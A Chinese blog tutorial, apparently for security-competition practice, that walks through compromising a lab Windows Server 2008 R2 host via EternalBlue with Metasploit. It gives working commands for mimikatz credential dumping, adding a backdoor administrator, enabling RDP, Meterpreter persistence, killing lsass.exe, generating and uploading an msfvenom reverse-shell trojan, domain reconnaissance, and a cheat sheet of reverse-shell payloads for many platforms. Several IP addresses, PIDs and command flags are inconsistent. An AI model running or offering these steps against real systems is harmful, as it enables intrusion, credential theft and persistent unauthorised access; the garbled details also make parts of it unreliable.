MSF后渗透权限维持

前言

大家好,我们在前面的章节中已经了解了如何使用永恒之蓝渗透进系统的后台,拿到shell,步骤和思路都很简单,没什么难度,属于初学阶段,我们本章节就开始加大难度,给目标靶机留后门,并且维持权限。好的,我们废话不多说,直接进入正题。

网络环境拓扑:

MSF后渗透权限维持_第1张图片

真实演练环境均为实体机,因为我没设备,所以只能在虚拟的环境中进行操作演示。

环境要求:

网络环境

实验机网络环境为内网环境,不与外网相通。

机器

kali Linux    192.168.163.139
Windows server 2008 R2 192.168.163.58
交换机(虚拟机环境略过)

环境检查:

渗透机与靶机互相Ping通:

MSF后渗透权限维持_第2张图片

MSF后渗透权限维持_第3张图片

我们已经将环境布置完成,现在进入实战阶段。

实战攻击

漏洞验证阶段

使用MS17-010漏洞验证模块验证主机是否存在该漏洞。

进入msf框架,使用MS17-010的漏洞验证模块。

msfconsole
use auxiliary/scanner/smb/smb_ms17_010

设置验证参数:

show options  ##查看可以或必须设置的参数

MSF后渗透权限维持_第4张图片

这里提示,必须设置的参数中,唯有rhosts目标主机IP地址没有设置,我们设置目标主机的IP地址为“192.168.163.58”,为靶机的IP。

set rhost 192.168.163.58

执行验证,验证成功:

我们已经验证了目标靶机是可以利用这个漏洞攻击的,我们进行漏洞利用。

漏洞利用阶段

退出当前模块而不退出msf框架。

back 1

选择使用漏洞利用模块。

use exploit/windows/smb/ms17_010_eternalblue 
设置更不容易被发现的攻击载荷  
set payload windows/x64/meterpreter/reverse_https

再次查看参数,设置参数

这次需要设置的参数有一个,还是目标靶机的IP:但是为了我们实验的严谨性,我再把监听服务端的IP重新设置为渗透机本机的IP。

MSF后渗透权限维持_第5张图片

执行攻击,在经历了一段跑代码的界面后,成功进入met控制台》

到此,我们已经进入了靶机的后台,接下来就是后渗透阶段。

后渗透阶段

查看目标靶机的信息

sysinfo

MSF后渗透权限维持_第6张图片

加载口令获取模块

load mimikatz

MSF后渗透权限维持_第7张图片

获取管理员密码:

旧版本kali(2023以下):wdigest
新版本kali(2023):creds_wdigest

MSF后渗透权限维持_第8张图片进入shell:查看靶机网络信息

ipconfig /all

MSF后渗透权限维持_第9张图片

查看当前系统权限

whoami

MSF后渗透权限维持_第10张图片

创建后门用户用以提权操作

创建后门用户:

在shell中执行命令:
net user 123 P@ssw0rd /add

MSF后渗透权限维持_第11张图片

将用户添加至管理组

在shell中执行命令:
net localgroup administrators 123 /add

MSF后渗透权限维持_第12张图片

靶机用户管理界面:

MSF后渗透权限维持_第13张图片

后门用户创建完成。我们可以直接使用rdesktop登录远程桌面,如果3389端口没开启的话,需要在后渗透控制台利用模块开启,当然吗,在shell中也是可以开启的。

在msf中利用模块开启3389端口:

run post/windows/manage/enable_rdp

MSF后渗透权限维持_第14张图片

这样就开启成功,shell中开启的方法大家可以自行百度。

植入后门阶段

植入后门脚本

植入持续后门,隔10秒靶机服务器将向渗透机的3306端口发起连接,建立请求。

meterpreter > run persistence -X -i 10 -p 3306 -r 192.168.137.127
设置监听

打开新窗口(ctrl+shift+t),调用监听模块:

search exploit/multi/handler 
use exploit/multi/handler   or    use 0

MSF后渗透权限维持_第15张图片

设置监听载荷:我们选用反向TCP。

set payload windows/meterpreter/reverse_tcp

MSF后渗透权限维持_第16张图片

我们查看并设置必须参数:

show options

MSF后渗透权限维持_第17张图片

可以看到模块中的“lport”参数不对,“lhost”是空的,我们把它给设置正确:

set lport 3306
set lhost 192.168.137.133

MSF后渗透权限维持_第18张图片

检查参数,是否设置正确:

show options

MSF后渗透权限维持_第19张图片

执行:

run

执行监听后,我们需要去永恒之蓝的控制台尝试重启靶机,让监听上线。

重启靶机

靶机重启后会一并加载之前的持续后门。我们在msf中尝试重启目标靶机:

reboot

MSF后渗透权限维持_第20张图片

这里显示报错,报错码为1314,百度一下,得知报错1314是由于权限不够,重启失败,那我们换一种方法:尝试终止lsass.exe进程,让系统进入异常重启状态。

Lsass.exe进程

lsass.exe是一个系统进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。注意:lsass.exe也有可能是Windang.worm、irc.ratsou.b、Webus.B、MyDoom.L、Randex.AR、Nimos.worm创建的,病毒通过软盘、群发邮件和P2P文件共享进行传播。

我们先查看靶机进程:

ps

MSF后渗透权限维持_第21张图片

这里我们看到lsass.exe的PID是被80,在msf控制台终止进程:

kill 480

MSF后渗透权限维持_第22张图片

此时靶机已经退出了登录,然后重启:

MSF后渗透权限维持_第23张图片

重启完成:

MSF后渗透权限维持_第24张图片

按照靶机管理员的习惯,一般会重新进入桌面。

MSF后渗透权限维持_第25张图片

返回kali,看到还没有上线。

MSF后渗透权限维持_第26张图片

我们分析原因,推测是由于系统安全机制拦截所致。我们手动将脚本复制到开机启动项中:

后门维持脚本生成的默认路径:

C:windows/temp/

不知道为啥,我这没看到。

MSF后渗透权限维持_第27张图片

我换另一种方法:上传.exe木马

上传.exe木马

使用msfvenom生成木马:

msfvenom -a x86 --platform -p windows/meterpreter/reverse_tcp LHOST=192.168.137.133 LPORT=6820 -f exe -o /home/kali/Desktop/shell.exe

生成完成,保存路径在kali的桌面:

MSF后渗透权限维持_第28张图片

我们通过前面获取到的shell上传这个木马文件到目标靶机192.168.137.127主机上

upload /home/kali/Desktop/shell.exe C:\

上传完成:

MSF后渗透权限维持_第29张图片

MSF后渗透权限维持_第30张图片

直接运行。

我们返回msf控制台的监听控制台(第一次尝试监听的模块),查看需要调整的参数。

show options

MSF后渗透权限维持_第31张图片

我们前面生成的端口是6820 ,我们需要重新设置

set lport 6820

返回前面的shell,进入靶机执行shell.eming

shell
cd ../..
shell.exe

MSF后渗透权限维持_第32张图片

MSF后渗透权限维持_第33张图片

返回监听模块,执行。

看到没有反应,分析:端口状态异常

我们返回靶机,关闭防火墙。

MSF后渗透权限维持_第34张图片

很遗憾,在我的虚拟环境并没有成功。大家在监听到回传shell后,就完成了后门植入的过程。

给大家附上内网信息搜集会使用到的命令。

进入内网搜集信息

内网信息搜集

附上内网的一般信息收集命令:

ipconfig /all   # 查看本机ip,所在域
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享
net share ipc$  # 开启ipc共享
net share c$    # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享
dir \\192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件

net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators    # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net time /domain           // 主域服务器会同时作为时间服务器
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain    // 查看域管理员组

我会专门出一期博文讲解内网信息收集的思路,还请大家稍后移步

常见msf木马生成

常见类型木马生成

linux

  msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elf

windows
      
      msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe

mac

    msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.machoWeb Payloads

php

  msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php

asp
   
 msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

jsp
   
     msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

war

   msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
Scripting Payloads

python

  msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py

bash

  msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

perl

  msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl

总结:

1.msf攻击永恒之蓝漏洞时由于自己搭建环境不是很稳定需要多次尝试。

2.使用msfvonom 生成木马时,payload选择。

3.监听时设置的payload和生成木马时必须一致。

结尾

好了,本章节到这里就结束啦,相信大家在看完本章后,对后渗透阶段的思路和实战已经变得很熟练了,小编在这里提前祝贺各位坚持看完本章节的友友们,感谢友友们的支持,我会继续努力的!

你可能感兴趣的:(省技能大赛模块,漏洞利用学习,永恒之蓝,安全,网络安全,系统安全,安全威胁分析,linux,计算机网络,网络攻击模型)